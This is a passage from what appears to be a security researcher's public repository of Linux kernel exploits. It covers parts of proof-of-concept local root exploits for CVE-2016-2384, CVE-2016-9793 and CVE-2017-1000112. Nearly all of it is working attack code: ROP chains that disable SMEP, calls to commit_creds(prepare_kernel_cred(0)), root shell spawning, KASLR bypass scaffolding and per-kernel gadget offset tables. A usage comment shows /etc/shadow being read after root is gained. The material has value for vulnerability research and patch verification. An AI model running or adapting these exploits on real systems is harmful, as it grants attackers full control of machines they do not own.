MOV_CR4_RDI_RET 0xffffffff8105b8f0L 57 | #define POP_RCX_RET 0xffffffff810053bcL 58 | #define JMP_RCX 0xffffffff81040a90L 59 | 60 | #define CR4_DESIRED_VALUE 0x407f0 61 | 62 | // Payload. Saves eax, which holds the 32 lower bits of the old esp value, 63 | // disables SMEP, restores rsp, obtains root, jumps back to the caller. 64 | 65 | #define CHAIN_SAVE_EAX \ 66 | *stack++ = POP_RDI_RET; \ 67 | *stack++ = (uint64_t)&saved_eax; \ 68 | *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; 69 | 70 | #define CHAIN_SET_CR4 \ 71 | *stack++ = POP_RDI_RET; \ 72 | *stack++ = CR4_DESIRED_VALUE; \ 73 | *stack++ = MOV_CR4_RDI_RET; \ 74 | 75 | #define CHAIN_JMP_PAYLOAD \ 76 | *stack++ = POP_RCX_RET; \ 77 | *stack++ = (uint64_t)&payload; \ 78 | *stack++ = JMP_RCX; \ 79 | 80 | typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 81 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 82 | 83 | _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; 84 | _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; 85 | 86 | void get_root(void) { 87 | commit_creds(prepare_kernel_cred(0)); 88 | } 89 | 90 | uint64_t saved_eax; 91 | 92 | // Unfortunately GCC does not support `__atribute__((naked))` on x86, which 93 | // can be used to omit a function's prologue, so I had to use this weird 94 | // wrapper hack as a workaround. Note: Clang does support it, which means it 95 | // has better support of GCC attributes than GCC itself. Funny. 96 | void wrapper() { 97 | asm volatile (" \n\ 98 | payload: \n\ 99 | movq %%rbp, %%rax \n\ 100 | movq $0xffffffff00000000, %%rdx \n\ 101 | andq %%rdx, %%rax \n\ 102 | movq %0, %%rdx \n\ 103 | addq %%rdx, %%rax \n\ 104 | movq %%rax, %%rsp \n\ 105 | jmp get_root \n\ 106 | " : : "m"(saved_eax) : ); 107 | } 108 | 109 | void payload(); 110 | 111 | // Kernel structs. 112 | 113 | struct ubuf_info { 114 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) 115 | uint64_t ctx; // void * 116 | uint64_t desc; // unsigned long 117 | }; 118 | 119 | struct skb_shared_info { 120 | uint8_t nr_frags; // unsigned char 121 | uint8_t tx_flags; // __u8 122 | uint16_t gso_size; // unsigned short 123 | uint16_t gso_segs; // unsigned short 124 | uint16_t gso_type; // unsigned short 125 | uint64_t frag_list; // struct sk_buff * 126 | uint64_t hwtstamps; // struct skb_shared_hwtstamps 127 | uint32_t tskey; // u32 128 | uint32_t ip6_frag_id; // __be32 129 | uint32_t dataref; // atomic_t 130 | uint64_t destructor_arg; // void * 131 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; 132 | }; 133 | 134 | #define MIDI_MAX_ENDPOINTS 2 135 | 136 | struct snd_usb_midi { 137 | uint8_t bullshit[240]; 138 | 139 | struct snd_usb_midi_endpoint { 140 | uint64_t out; // struct snd_usb_midi_out_endpoint * 141 | uint64_t in; // struct snd_usb_midi_in_endpoint * 142 | } endpoints[MIDI_MAX_ENDPOINTS]; 143 | 144 | // More bullshit. 145 | }; 146 | 147 | // Init buffer for overwriting a skbuff object. 148 | 149 | struct ubuf_info ui; 150 | 151 | void init_buffer(char* buffer) { 152 | struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[192]; 153 | struct snd_usb_midi *midi = (struct snd_usb_midi *)&buffer[0]; 154 | int i; 155 | 156 | ssi->tx_flags = 0xff; 157 | ssi->destructor_arg = (uint64_t)&ui; 158 | ui.callback = XCHG_EAX_ESP_RET; 159 | 160 | // Prevents some crashes. 161 | ssi->nr_frags = 0; 162 | 163 | // Prevents some crashes. 164 | ssi->frag_list = 0; 165 | 166 | // Prevents some crashes. 167 | for (i = 0; i < MIDI_MAX_ENDPOINTS; i++) { 168 | midi->endpoints[i].out = 0; 169 | midi->endpoints[i].in = 0; 170 | } 171 | } 172 | 173 | // Map a fake stack where the ROP payload resides. 174 | 175 | void mmap_stack() { 176 | uint64_t stack_addr; 177 | int stack_offset; 178 | uint64_t* stack; 179 | int page_size; 180 | 181 | page_size = getpagesize(); 182 | 183 | stack_addr = (XCHG_EAX_ESP_RET & 0x00000000ffffffffL) & ~(page_size - 1); 184 | stack_offset = XCHG_EAX_ESP_RET % page_size; 185 | 186 | stack = mmap((void *)stack_addr, page_size, PROT_READ | PROT_WRITE, 187 | MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 188 | if (stack == MAP_FAILED) { 189 | perror("[-] mmap()"); 190 | exit(EXIT_FAILURE); 191 | } 192 | 193 | stack = (uint64_t *)((char *)stack + stack_offset); 194 | 195 | CHAIN_SAVE_EAX; 196 | CHAIN_SET_CR4; 197 | CHAIN_JMP_PAYLOAD; 198 | } 199 | 200 | // Sending control messages. 201 | 202 | int socket_open(int port) { 203 | int sock; 204 | struct sockaddr_in sa; 205 | 206 | sock = socket(AF_INET, SOCK_DGRAM, 0); 207 | if (sock == -1) { 208 | perror("[-] socket()"); 209 | exit(EXIT_FAILURE); 210 | } 211 | 212 | sa.sin_family = AF_INET; 213 | sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 214 | sa.sin_port = htons(port); 215 | if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) == -1) { 216 | perror("[-] connect()"); 217 | exit(EXIT_FAILURE); 218 | } 219 | 220 | return sock; 221 | } 222 | 223 | void socket_close(int sock) { 224 | close(sock); 225 | } 226 | 227 | void socket_sendmmsg(int sock) { 228 | struct mmsghdr msg[1]; 229 | struct iovec msg2; 230 | int rv; 231 | char buffer[512]; 232 | 233 | memset(&msg2, 0, sizeof(msg2)); 234 | msg2.iov_base = &buffer[0]; 235 | msg2.iov_len = 512; 236 | 237 | memset(msg, 0, sizeof(msg)); 238 | msg[0].msg_hdr.msg_iov = &msg2; 239 | msg[0].msg_hdr.msg_iovlen = 1; 240 | 241 | memset(&buffer[0], 0xa1, 512); 242 | 243 | struct cmsghdr *hdr = (struct cmsghdr *)&buffer[0]; 244 | hdr->cmsg_len = 512; 245 | hdr->cmsg_level = SOL_IP + 1; 246 | 247 | init_buffer(&buffer[0]); 248 | 249 | msg[0].msg_hdr.msg_control = &buffer[0]; 250 | msg[0].msg_hdr.msg_controllen = 512; 251 | 252 | rv = syscall(__NR_sendmmsg, sock, msg, 1, 0); 253 | if (rv == -1) { 254 | perror("[-] sendmmsg()"); 255 | exit(EXIT_FAILURE); 256 | } 257 | } 258 | 259 | // Allocating and freeing skbuffs. 260 | 261 | struct sockaddr_in server_si_self; 262 | 263 | struct sockaddr_in client_si_other; 264 | 265 | int init_server(int port) { 266 | int sock; 267 | int rv; 268 | 269 | sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 270 | if (sock == -1) { 271 | perror("[-] socket()"); 272 | exit(EXIT_FAILURE); 273 | } 274 | 275 | memset(&server_si_self, 0, sizeof(server_si_self)); 276 | server_si_self.sin_family = AF_INET; 277 | server_si_self.sin_port = htons(port); 278 | server_si_self.sin_addr.s_addr = htonl(INADDR_ANY); 279 | 280 | rv = bind(sock, (struct sockaddr *)&server_si_self, 281 | sizeof(server_si_self)); 282 | if (rv == -1) { 283 | perror("[-] bind()"); 284 | exit(EXIT_FAILURE); 285 | } 286 | 287 | return sock; 288 | } 289 | 290 | int init_client(int port) { 291 | int sock; 292 | int rv; 293 | 294 | sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 295 | if (sock == -1) { 296 | perror("[-] socket()"); 297 | exit(EXIT_FAILURE); 298 | } 299 | 300 | memset(&client_si_other, 0, sizeof(client_si_other)); 301 | client_si_other.sin_family = AF_INET; 302 | client_si_other.sin_port = htons(port); 303 | 304 | rv = inet_aton("127.0.0.1", &client_si_other.sin_addr); 305 | if (rv == 0) { 306 | perror("[-] inet_aton()"); 307 | exit(EXIT_FAILURE); 308 | } 309 | 310 | return sock; 311 | } 312 | 313 | void client_send_message(int sock) { 314 | int rv; 315 | // Messages of 128 bytes result in 512 bytes skbuffs. 316 | char sent_message[128] = { 0x10 }; 317 | 318 | rv = sendto(sock, &sent_message[0], 128, 0, 319 | (struct sockaddr *)&client_si_other, 320 | sizeof(client_si_other)); 321 | if (rv == -1) { 322 | perror("[-] sendto()"); 323 | exit(EXIT_FAILURE); 324 | } 325 | } 326 | 327 | void destroy_server(int sock) { 328 | close(sock); 329 | } 330 | 331 | void destroy_client(int sock) { 332 | close(sock); 333 | } 334 | 335 | // Checking root. 336 | 337 | void exec_shell() { 338 | char *args[] = {"/bin/sh", "-i", NULL}; 339 | execve("/bin/sh", args, NULL); 340 | } 341 | 342 | void fork_shell() { 343 | pid_t rv; 344 | 345 | rv = fork(); 346 | if (rv == -1) { 347 | perror("[-] fork()"); 348 | exit(EXIT_FAILURE); 349 | } 350 | 351 | if (rv == 0) { 352 | exec_shell(); 353 | } 354 | 355 | while (true) { 356 | sleep(1); 357 | } 358 | } 359 | 360 | bool is_root() { 361 | return getuid() == 0; 362 | } 363 | 364 | void check_root() { 365 | if (!is_root()) 366 | return; 367 | 368 | printf("[+] got r00t: uid=%d, euid=%d\n", getuid(), geteuid()); 369 | 370 | // Fork and exec instead of just doing the exec to avoid freeing skbuffs 371 | // and prevent some crashes due to a allocator corruption. 372 | fork_shell(); 373 | } 374 | 375 | // Main. 376 | 377 | #define PORT_BASE_1 4100 378 | #define PORT_BASE_2 4200 379 | #define PORT_BASE_3 4300 380 | 381 | #define SKBUFFS_NUM 64 382 | #define MMSGS_NUM 256 383 | 384 | int server_sock; 385 | int client_sock; 386 | 387 | void step_begin(int id) { 388 | int i; 389 | 390 | server_sock = init_server(PORT_BASE_2 + id); 391 | client_sock = init_client(PORT_BASE_2 + id); 392 | 393 | for (i = 0; i < SKBUFFS_NUM; i++) { 394 | client_send_message(client_sock); 395 | } 396 | 397 | for (i = 0; i < MMSGS_NUM; i++) { 398 | int sock = socket_open(PORT_BASE_3 + id); 399 | socket_sendmmsg(sock); 400 | socket_close(sock); 401 | } 402 | } 403 | 404 | void step_end(int id) { 405 | destroy_server(server_sock); 406 | destroy_client(client_sock); 407 | } 408 | 409 | void body(int id) { 410 | int server_sock, client_sock, i; 411 | 412 | server_sock = init_server(PORT_BASE_1 + id); 413 | client_sock = init_client(PORT_BASE_1 + id); 414 | 415 | for (i = 0; i < 512; i++) 416 | client_send_message(client_sock); 417 | 418 | while (true) { 419 | step_begin(id); 420 | check_root(); 421 | step_end(id); 422 | } 423 | } 424 | 425 | bool parse_int(const char *input, int *output) { 426 | char* wrong_token = NULL; 427 | int result = strtol(input, &wrong_token, 10); 428 | if (*wrong_token != '\0') { 429 | return false; 430 | } 431 | *output = result; 432 | return true; 433 | } 434 | 435 | int main(int argc, char **argv) { 436 | bool rv; 437 | int id; 438 | 439 | if (argc != 2) { 440 | printf("Usage: %s \n", argv[0]); 441 | return EXIT_SUCCESS; 442 | } 443 | 444 | rv = parse_int(argv[1], &id); 445 | if (!rv) { 446 | printf("Usage: %s \n", argv[0]); 447 | return EXIT_SUCCESS; 448 | } 449 | 450 | printf("[+] starting as: uid=%d, euid=%d\n", getuid(), geteuid()); 451 | 452 | printf("[+] payload addr: %p\n", &payload); 453 | 454 | mmap_stack(); 455 | printf("[+] fake stack mmaped\n"); 456 | 457 | printf("[+] plug in the usb device...\n"); 458 | 459 | body(id); 460 | 461 | return EXIT_SUCCESS; 462 | } 463 | -------------------------------------------------------------------------------- /CVE-2016-2384/poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # A part of the proof-of-concept exploit for the vulnerability in the usb-midi 4 | # driver. Can be used on it's own for a denial of service attack. Should be 5 | # used in conjuction with a userspace part for an arbitrary code execution 6 | # attack. 7 | # 8 | # Requires a Facedancer21 board 9 | # (http://goodfet.sourceforge.net/hardware/facedancer21/). 10 | # 11 | # Andrey Konovalov 12 | 13 | from USB import * 14 | from USBDevice import * 15 | from USBConfiguration import * 16 | from USBInterface import * 17 | 18 | class PwnUSBDevice(USBDevice): 19 | name = "USB device" 20 | 21 | def __init__(self, maxusb_app, verbose=0): 22 | interface = USBInterface( 23 | 0, # interface number 24 | 0, # alternate setting 25 | 255, # interface class 26 | 0, # subclass 27 | 0, # protocol 28 | 0, # string index 29 | verbose, 30 | [], 31 | {} 32 | ) 33 | 34 | config = USBConfiguration( 35 | 1, # index 36 | "Emulated Device", # string desc 37 | [ interface ] # interfaces 38 | ) 39 | 40 | USBDevice.__init__( 41 | self, 42 | maxusb_app, 43 | 0, # device class 44 | 0, # device subclass 45 | 0, # protocol release number 46 | 64, # max packet size for endpoint 0 47 | 0x0763, # vendor id 48 | 0x1002, # product id 49 | 0, # device revision 50 | "Midiman", # manufacturer string 51 | "MidiSport 2x2", # product string 52 | "?", # serial number string 53 | [ config ], 54 | verbose=verbose 55 | ) 56 | 57 | from Facedancer import * 58 | from MAXUSBApp import * 59 | 60 | sp = GoodFETSerialPort() 61 | fd = Facedancer(sp, verbose=1) 62 | u = MAXUSBApp(fd, verbose=1) 63 | 64 | d = PwnUSBDevice(u, verbose=4) 65 | 66 | d.connect() 67 | 68 | try: 69 | d.run() 70 | except KeyboardInterrupt: 71 | d.disconnect() 72 | -------------------------------------------------------------------------------- /CVE-2016-9793/README.md: -------------------------------------------------------------------------------- 1 | CVE-2016-9793 2 | ============= 3 | 4 | This is a proof-of-concept Local Privilege Escalaption exploit for [CVE-2016-9793](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9793) — a vulnerability I found in the SO\_SNDBUFFORCE and SO\_RCVBUFFORCE socket options implementation. 5 | Requires CAP\_NET\_ADMIN capability. 6 | 7 | Timeline: 8 | 9 | * 1 Dec 2016 — Bug reported to security@kernel org 10 | * 2 Dec 2016 — [Mainline fix](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b98b0bc8c431e3ceb4b26b0dfc8db509518fb290) is committed 11 | * 22 Mar 2017 — [This exploit](https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793) is published 12 | -------------------------------------------------------------------------------- /CVE-2016-9793/poc.c: -------------------------------------------------------------------------------- 1 | // CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793 2 | // No KASLR, SMEP or SMAP bypass included 3 | // Affected kernels: 3.11 -> 4.8 4 | // Tested in QEMU only 5 | // https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793 6 | // 7 | // Usage: 8 | // # gcc -pthread exploit.c -o exploit 9 | // # chown guest:guest exploit 10 | // # setcap cap_net_admin+ep ./exploit 11 | // # su guest 12 | // $ whoami 13 | // guest 14 | // $ ./exploit 15 | // [.] userspace payload mmapped at 0xfffff000 16 | // [.] overwriting thread started 17 | // [.] sockets opened 18 | // [.] sock->sk_sndbuf set to fffffe00 19 | // [.] writing to socket 20 | // [+] got r00t 21 | // # whoami 22 | // root 23 | // 24 | // Andrey Konovalov 25 | 26 | #define _GNU_SOURCE 27 | 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | 45 | #define COMMIT_CREDS 0xffffffff81079860ul 46 | #define PREPARE_KERNEL_CRED 0xffffffff81079b20ul 47 | 48 | typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 49 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 50 | 51 | _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; 52 | _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; 53 | 54 | void get_root(void) { 55 | commit_creds(prepare_kernel_cred(0)); 56 | } 57 | 58 | struct ubuf_info_t { 59 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) 60 | uint64_t ctx; // void * 61 | uint64_t desc; // unsigned long 62 | }; 63 | 64 | struct skb_shared_info_t { 65 | uint8_t nr_frags; // unsigned char 66 | uint8_t tx_flags; // __u8 67 | uint16_t gso_size; // unsigned short 68 | uint16_t gso_segs; // unsigned short 69 | uint16_t gso_type; // unsigned short 70 | uint64_t frag_list; // struct sk_buff * 71 | uint64_t hwtstamps; // struct skb_shared_hwtstamps 72 | uint32_t tskey; // u32 73 | uint32_t ip6_frag_id; // __be32 74 | uint32_t dataref; // atomic_t 75 | uint64_t destructor_arg; // void * 76 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; 77 | }; 78 | 79 | // sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0 80 | #define SNDBUF 0xffffff00 81 | #define SHINFO 0x00000000fffffed0ul 82 | 83 | struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0}; 84 | //struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0}; 85 | struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO; 86 | 87 | #define SKBTX_DEV_ZEROCOPY (1 << 3) 88 | 89 | void* skb_thr(void* arg) { 90 | while (1) { 91 | skb_shared_info->destructor_arg = (uint64_t)&ubuf_info; 92 | skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY; 93 | } 94 | } 95 | 96 | int sockets[2]; 97 | 98 | void *write_thr(void *arg) { 99 | // Write blocks until setsockopt(SO_SNDBUF). 100 | write(sockets[1], "\x5c", 1); 101 | 102 | if (getuid() == 0) { 103 | printf("[+] got r00t\n"); 104 | execl("/bin/bash", "bash", NULL); 105 | perror("execl()"); 106 | } 107 | printf("[-] something went wrong\n"); 108 | } 109 | 110 | int main() { 111 | void *addr; 112 | int rv; 113 | uint32_t sndbuf; 114 | 115 | addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul, 116 | PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 117 | -1, 0); 118 | if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) { 119 | perror("mmap()"); 120 | exit(EXIT_FAILURE); 121 | } 122 | 123 | printf("[.] userspace payload mmapped at %p\n", addr); 124 | 125 | pthread_t skb_th; 126 | rv = pthread_create(&skb_th, 0, skb_thr, NULL); 127 | if (rv != 0) { 128 | perror("pthread_create()"); 129 | exit(EXIT_FAILURE); 130 | } 131 | usleep(10000); 132 | 133 | printf("[.] overwriting thread started\n"); 134 | 135 | rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]); 136 | if (rv != 0) { 137 | perror("socketpair()"); 138 | exit(EXIT_FAILURE); 139 | } 140 | 141 | printf("[.] sockets opened\n"); 142 | 143 | sndbuf = SNDBUF; 144 | rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE, 145 | &sndbuf, sizeof(sndbuf)); 146 | if (rv != 0) { 147 | perror("setsockopt()"); 148 | exit(EXIT_FAILURE); 149 | } 150 | 151 | printf("[.] sock->sk_sndbuf set to %x\n", SNDBUF * 2); 152 | 153 | pthread_t write_th; 154 | rv = pthread_create(&write_th, 0, write_thr, NULL); 155 | if (rv != 0) { 156 | perror("pthread_create()"); 157 | exit(EXIT_FAILURE); 158 | } 159 | usleep(10000); 160 | 161 | printf("[.] writing to socket\n"); 162 | 163 | // Wake up blocked write. 164 | rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF, 165 | &sndbuf, sizeof(sndbuf)); 166 | if (rv != 0) { 167 | perror("setsockopt()"); 168 | exit(EXIT_FAILURE); 169 | } 170 | usleep(10000); 171 | 172 | close(sockets[0]); 173 | close(sockets[1]); 174 | 175 | return 0; 176 | } 177 | -------------------------------------------------------------------------------- /CVE-2016-9793/trigger.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | int sockets[2]; 21 | 22 | void *write_thr(void *arg) { 23 | // Write blocks until setsockopt(SO_SNDBUF). 24 | write(sockets[1], "\x5c", 1); 25 | } 26 | 27 | int main() { 28 | void *addr; 29 | int rv; 30 | uint32_t sndbuf; 31 | 32 | rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]); 33 | if (rv != 0) { 34 | perror("socketpair()"); 35 | exit(EXIT_FAILURE); 36 | } 37 | 38 | sndbuf = 0xffffff00; 39 | rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE, 40 | &sndbuf, sizeof(sndbuf)); 41 | if (rv != 0) { 42 | perror("setsockopt()"); 43 | exit(EXIT_FAILURE); 44 | } 45 | 46 | pthread_t write_th; 47 | rv = pthread_create(&write_th, 0, write_thr, NULL); 48 | if (rv != 0) { 49 | perror("pthread_create()"); 50 | exit(EXIT_FAILURE); 51 | } 52 | usleep(10000); 53 | 54 | // Wake up blocked write. 55 | rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF, 56 | &sndbuf, sizeof(sndbuf)); 57 | if (rv != 0) { 58 | perror("setsockopt()"); 59 | exit(EXIT_FAILURE); 60 | } 61 | usleep(10000); 62 | 63 | close(sockets[0]); 64 | close(sockets[1]); 65 | 66 | return 0; 67 | } 68 | -------------------------------------------------------------------------------- /CVE-2017-1000112/README.md: -------------------------------------------------------------------------------- 1 | CVE-2017-1000112 2 | ================ 3 | 4 | This is a proof-of-concept Local Privelege Escalation exploit for [CVE-2017-1000112](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000112) — a memory corruption vulnerability I found in the UDP Fragmentation Offload feature of the Linux kernel IP sockets. 5 | See the details in [CVE-2017-1000112: Exploiting an out-of-bounds bug in the Linux kernel UFO packets](https://xairy.io/articles/2017/cve-2017-1000112). 6 | -------------------------------------------------------------------------------- /CVE-2017-1000112/poc.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept local root exploit for CVE-2017-1000112. 2 | // Includes KASLR and SMEP bypasses. No SMAP bypass. 3 | // Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels. 4 | // 5 | // Usage: 6 | // user@ubuntu:~$ uname -a 7 | // Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 8 | // user@ubuntu:~$ whoami 9 | // user 10 | // user@ubuntu:~$ id 11 | // uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) 12 | // user@ubuntu:~$ gcc pwn.c -o pwn 13 | // user@ubuntu:~$ ./pwn 14 | // [.] starting 15 | // [.] checking distro and kernel versions 16 | // [.] kernel version '4.8.0-58-generic' detected 17 | // [~] done, versions looks good 18 | // [.] checking SMEP and SMAP 19 | // [~] done, looks good 20 | // [.] setting up namespace sandbox 21 | // [~] done, namespace sandbox set up 22 | // [.] KASLR bypass enabled, getting kernel addr 23 | // [~] done, kernel text: ffffffffae400000 24 | // [.] commit_creds: ffffffffae4a5d20 25 | // [.] prepare_kernel_cred: ffffffffae4a6110 26 | // [.] SMEP bypass enabled, mmapping fake stack 27 | // [~] done, fake stack mmapped 28 | // [.] executing payload ffffffffae40008d 29 | // [~] done, should be root now 30 | // [.] checking if we got root 31 | // [+] got r00t ^_^ 32 | // root@ubuntu:/home/user# whoami 33 | // root 34 | // root@ubuntu:/home/user# id 35 | // uid=0(root) gid=0(root) groups=0(root) 36 | // root@ubuntu:/home/user# cat /etc/shadow 37 | // root:!:17246:0:99999:7::: 38 | // daemon:*:17212:0:99999:7::: 39 | // bin:*:17212:0:99999:7::: 40 | // sys:*:17212:0:99999:7::: 41 | // ... 42 | // 43 | // Andrey Konovalov 44 | 45 | #define _GNU_SOURCE 46 | 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | 65 | #define ENABLE_KASLR_BYPASS 1 66 | #define ENABLE_SMEP_BYPASS 1 67 | 68 | // Will be overwritten if ENABLE_KASLR_BYPASS is enabled. 69 | unsigned long KERNEL_BASE = 0xffffffff81000000ul; 70 | 71 | // Will be overwritten by detect_versions(). 72 | int kernel = -1; 73 | 74 | struct kernel_info { 75 | const char* distro; 76 | const char* version; 77 | uint64_t commit_creds; 78 | uint64_t prepare_kernel_cred; 79 | uint64_t xchg_eax_esp_ret; 80 | uint64_t pop_rdi_ret; 81 | uint64_t mov_dword_ptr_rdi_eax_ret; 82 | uint64_t mov_rax_cr4_ret; 83 | uint64_t neg_rax_ret; 84 | uint64_t pop_rcx_ret; 85 | uint64_t or_rax_rcx_ret; 86 | uint64_t xchg_eax_edi_ret; 87 | uint64_t mov_cr4_rdi_ret; 88 | uint64_t jmp_rcx; 89 | }; 90 | 91 | struct kernel_info kernels[] = { 92 | { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d }, 93 | { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 }, 94 | { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 95 | { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 96 | { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 97 | { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 }, 98 | { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 }, 99 | { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b }, 100 | { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 101 | { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 102 | { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b }, 103 | { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 104 | { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 105 | { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 106 | { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 107 | { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 108 | { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 109 | { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 110 | { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 111 | { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 112 | { "trusty", 